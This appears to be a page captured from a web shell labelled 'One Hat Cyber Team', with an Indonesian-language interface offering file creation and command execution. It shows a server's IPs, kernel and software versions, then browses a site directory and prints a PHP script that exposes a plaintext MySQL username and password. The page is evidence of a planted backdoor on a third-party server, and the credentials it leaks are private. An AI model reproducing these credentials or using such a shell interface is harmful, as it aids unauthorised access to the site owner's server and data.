One Hat Cyber Team
Your IP :
3.142.131.16
Server IP :
50.28.103.30
Server :
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software :
nginx/1.24.0
PHP Version :
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
sd.electronharmony.com
/
works
/
View File Name :
update_status.php
<?php $servername = "localhost"; $username = "t001"; $password = "ZRTsRb6Ycp585AEC"; // Your database password $dbname = "t001"; // Create connection $conn = new mysqli($servername, $username, $password, $dbname); if ($_SERVER['REQUEST_METHOD'] === 'POST') { $dayId = $_POST['dayId'] ?? null; $status = $_POST['status'] ?? null; if ($dayId && in_array($status, ['v', 'x', 'Off'])) { $stmt = $conn->prepare("UPDATE employee_days SET status = ? WHERE id = ?"); $stmt->bind_param("si", $status, $dayId); if ($stmt->execute()) { echo json_encode(['success' => true]); } else { echo json_encode(['success' => false, 'message' => 'Failed to update status.']); } $stmt->close(); } else { echo json_encode(['success' => false, 'message' => 'Invalid input.']); } } $conn->close(); ?>